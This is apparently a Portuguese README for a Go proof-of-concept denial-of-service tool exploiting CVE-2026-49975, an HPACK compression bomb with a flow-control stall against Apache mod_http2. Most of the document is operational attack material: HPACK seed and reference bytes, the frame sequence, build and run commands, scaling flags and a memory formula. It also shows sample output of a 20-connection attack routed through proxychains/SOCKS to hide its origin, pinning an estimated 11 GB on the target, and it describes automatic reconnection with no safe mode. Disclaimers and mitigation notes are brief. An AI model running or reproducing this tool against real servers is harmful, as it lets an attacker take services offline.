
PoC de pesquisa de segurança para CVE-2026-49975: bomba de compressão HTTP/2 HPACK + DoS por retenção de controle de fluxo no Apache mod_http2
PoC de Pesquisa de Segurança por naheeju
⚠️ Esta é uma ferramenta funcional de DoS por esgotamento de memória — não é um brinquedo. Ela abre fluxos que forçam o alvo a alocar memória e os mantém abertos por meio de truques de controle de fluxo do HTTP/2. Enquanto o processo estiver em execução, ele continua retendo e se reconecta automaticamente se o servidor derrubar a conexão — não para por conta própria. O impacto escala diretamente com
--threads, e . Interromper o processo (Ctrl+C) libera os fluxos retidos e permite que o servidor se recupere, mas nada na operação padrão é "gentil" — trate cada execução como um teste real.
--streams--headersCVE-2026-49975 ("HTTP/2 Bomb") é uma vulnerabilidade de Negação de Serviço remota e não autenticada que afeta o módulo mod_http2 do Apache HTTP Server. Ela encadeia duas fraquezas do HTTP/2 conhecidas há muito tempo:
Cookie sejam mesclados sem serem contabilizados em LimitRequestFields, forçando o servidor a alocar memória repetidamente para estruturas internas de contabilidade de cabeçalhos.O resultado: um único cliente em uma conexão modesta pode forçar alocação de memória significativa e sustentada no alvo enquanto o fluxo permanecer aberto. Esta implementação suporta dois modos de payload e escala linearmente com a concorrência que você configurar:
nginx — planta um cabeçalho x-bomb vazio na tabela dinâmica HPACK e o referencia repetidamente (~70:1 de amplificação por referência).classic — planta um cabeçalho cookie superdimensionado em vez disso (~4000:1 de amplificação por referência).Cada conexão referencia novamente o cabeçalho plantado milhares de vezes por fluxo (--headers, padrão 5000), através de múltiplos fluxos por conexão (--streams, padrão 10) e múltiplas conexões paralelas (--threads, padrão 1). Se o servidor fechar uma conexão, a ferramenta se reconecta imediatamente e continua até ser interrompida manualmente — este é um loop de retenção contínua, não uma sonda única.
Identificadores relacionados para outras stacks afetadas (não implementados ou testados por este repositório):
CVE-2026-47774Escopo completo da classe de fraqueza subjacente, para fins de completude — a técnica "HTTP/2 Bomb" (bomba de compressão HPACK + retenção de controle de fluxo) afeta várias implementações de servidor além do Apache. Este repositório implementa e testa apenas o caso do Apache; o restante está incluído para que os leitores entendam a classe mais ampla, não porque este PoC os exercite:
| Implementação | Status | Implementado neste PoC? |
|---|---|---|
Apache HTTP Server mod_http2 | Corrigido no httpd 2.4.68 (2026-06-08) | Sim — este repositório |
| nginx | Corrigido no 1.29.8 | Não |
| Envoy | Rastreado separadamente | Não |
| Microsoft IIS | Rastreado separadamente | Não |
| Cloudflare Pingora | Rastreado separadamente | Não |
| CVE | CVE-2026-49975 |
| CWE | CWE-789 (Alocação de Memória com Valor de Tamanho Excessivo, conforme NVD/CVE.org); também rastreado como CWE-409 (Tratamento Inadequado de Dados Altamente Comprimidos) por alguns fornecedores |
| CVSS | 7.5 (Alto) — CVSS v3.1, vetor apenas de disponibilidade (conforme NVD). O próprio aviso da Apache o classifica como Moderado. |
| Componente afetado | Apache HTTP Server mod_http2 |
| Versões vulneráveis | Apache httpd 2.4.17 ≤ versão ≤ 2.4.67 (configuração HTTP/2 padrão) |
| Corrigido em | Apache HTTP Server 2.4.68 (lançado em 2026-06-08). A correção subjacente chegou ao upstream no mod_h2 em 2026-05-27, foi mesclada no branch 2.4.x do httpd em 2026-06-02 e foi incluída no lançamento 2.4.68. |
| Tipo de ataque | Negação de Serviço — esgotamento de memória (apenas disponibilidade) |
| Autenticação necessária | Não |
| Exposição de dados / RCE | Nenhuma — isto tem impacto apenas na disponibilidade |
| Explorado conhecidamente | Atualmente não sinalizado como conhecidamente explorado em ambiente real por fontes rastreadas. |
Referências (fontes primárias — verifique todas as afirmações de forma independente):
Este repositório contém:
Este repositório não contém:
Leia isto antes de fazer qualquer outra coisa.
Ao baixar, clonar ou executar qualquer código deste repositório, você concorda que é o único responsável por garantir que possui a autorização adequada e que aceita total responsabilidade legal pelo seu uso.
CVE-2026-49975 só se aplica a um alvo que satisfaça ambos os critérios da Seção 1 — acessível via HTTP/2 e executando uma versão vulnerável do mod_http2 dentro do intervalo (2.4.17 ≤ versão ≤ 2.4.67, configuração padrão). Um simples curl -vkI contra a porta HTTPS do alvo é suficiente para verificar ambos — nenhum scanner ou flag extra é necessário:
curl -vkI https://<target>
O que procurar na saída:
ALPN: server accepted h2 — o servidor negociou HTTP/2 para esta conexão. Esta é a pré-condição para CVE-2026-49975, já que o bug está no mod_http2; um servidor que nunca aceitou h2 aqui não é candidato.Server (visível assim que os cabeçalhos da resposta HEAD são impressos, mais abaixo na saída de -v) — é isso que confirma ou descarta a versão real do Apache/mod_http2 em relação ao intervalo vulnerável da Seção 1. A aceitação do ALPN por si só não confirma a versão — isso ainda requer o cabeçalho Server ou uma verificação de banner equivalente.Nada além disso é usado para reconhecimento neste repositório — sem tráfego de exploração ativa, sem scanners de vulnerabilidade, sem varreduras de portas.
cve202649975)golang.org/x/net v0.59.0 (resolvido automaticamente via go build)443, TLS/h2 por padrão; --no-ssl para h2c em texto claro)proxychains4, ele detecta o wrapper LD_PRELOAD, lê o mesmo proxychains4.conf e roteia suas próprias conexões através desse proxy SOCKS5 (resolução DNS remota) — útil quando o escopo de um engajamento exige testes a partir de um caminho de saída específicoLinha do tempo pública do próprio CVE-2026-49975: reportado à Apache em 2026-05-26; correção chegou ao upstream no
mod_h2em 2026-05-27; mesclada no branch 2.4.x do httpd em 2026-06-02; Apache HTTP Server 2.4.68 lançado em 2026-06-08.
Execute isto apenas contra um alvo que você está explicitamente autorizado a testar. Não há limite de duração embutido nem modo seguro — você é responsável por quanto tempo ele roda e com qual concorrência.
Compilar:
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
Executar:
./dos <target> <port> [flags]
| Flag | Padrão | Descrição |
|---|---|---|
--threads N | 1 | Conexões paralelas |
--streams N | 10 | Fluxos abertos por conexão |
--headers N | 5000 | Referências à tabela dinâmica HPACK por fluxo (motor de amplificação) |
--mode nginx|classic | nginx | nginx = bomba de contabilidade de cabeçalho vazio (~70:1); classic = bomba de cookie gordo (~4000:1, corresponde ao mecanismo de mesclagem de Cookie do mod_http2 do Apache pelo qual este CVE é rastreado) |
--no-ssl | desligado | Usar h2c em texto claro em vez de TLS |
Exemplo, teste mínimo de laboratório autorizado:
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
Comportamento esperado:
WINDOW_UPDATE de 1 byte e pings periódicos; reconecta automaticamente e repete se o servidor fechar a conexão.Ctrl+C / SIGTERM — planeje sua janela de teste de acordo e monitore a memória do alvo em tempo real.--streams/--headers baixos antes de qualquer teste autorizado em produção, e tenha um plano de rollback/reinício para o serviço alvo pronto independentemente.Fórmula aproximada de memória no lado do servidor para os dois modos desta ferramenta (apenas Apache mod_http2 — consulte a Seção 1 para saber como nginx/classic se mapeiam à taxa de amplificação):
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
Aumente threads/streams/headers e o número cresce linearmente — é por isso que um teste autorizado em laboratório deve começar baixo (consulte a Seção 7) antes de qualquer execução em escopo de produção.
Isto documenta o mecanismo que este PoC específico implementa contra o Apache mod_http2 — não se estende a outras implementações de servidor, que estão fora do escopo deste repositório (consulte a Seção 2).
Semente da tabela dinâmica HPACK (indexação incremental, adiciona entrada no índice 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
Referência indexada a essa entrada (1 byte cada, repetida --headers vezes):
0x80 | 62 = 0xbe
Sequência de frames HTTP/2 por conexão:
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
O custo na rede é pequeno e majoritariamente fixo por fluxo (alguns bytes para a semente + 1 byte por referência); a alocação no lado do servidor é o que cresce desproporcionalmente — essa lacuna é a vulnerabilidade.
Saída de uma execução autorizada em laboratório, modo classic, 20 conexões × 30 fluxos/conexão, 5000 refs HPACK/fluxo, roteada através do proxychains:
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
Cada conexão relata independentemente sua própria contribuição de RAM local à medida que abre fluxos (~572 MB por conexão com essas configurações); o número de pré-voo Est. server RAM é o agregado de todas as 20 conexões (~11,4 GB) quando todas as conexões estiverem totalmente abertas e retendo.
domain.comacima é um placeholder — substitua pelo seu alvo autorizado real ao documentar sua própria execução, e redija-o se o engajamento for confidencial.
LimitRequestFields de forma conservadora e monitore o comportamento de mesclagem de cabeçalhos.Descoberta e divulgação original da vulnerabilidade à Apache (sem relação com este repositório ou seu autor):
Este repositório (reimplementação em Go, escrita e testada após a correção pública ser lançada):
Dúvidas, correções ou preocupações relacionadas à divulgação responsável sobre este PoC específico: abra uma issue neste repositório.
Licença: MIT (apenas o código deste repositório — consulte LICENSE). Não se estende a, nem implica endosso pelos, descobridores originais ou pela Apache Software Foundation.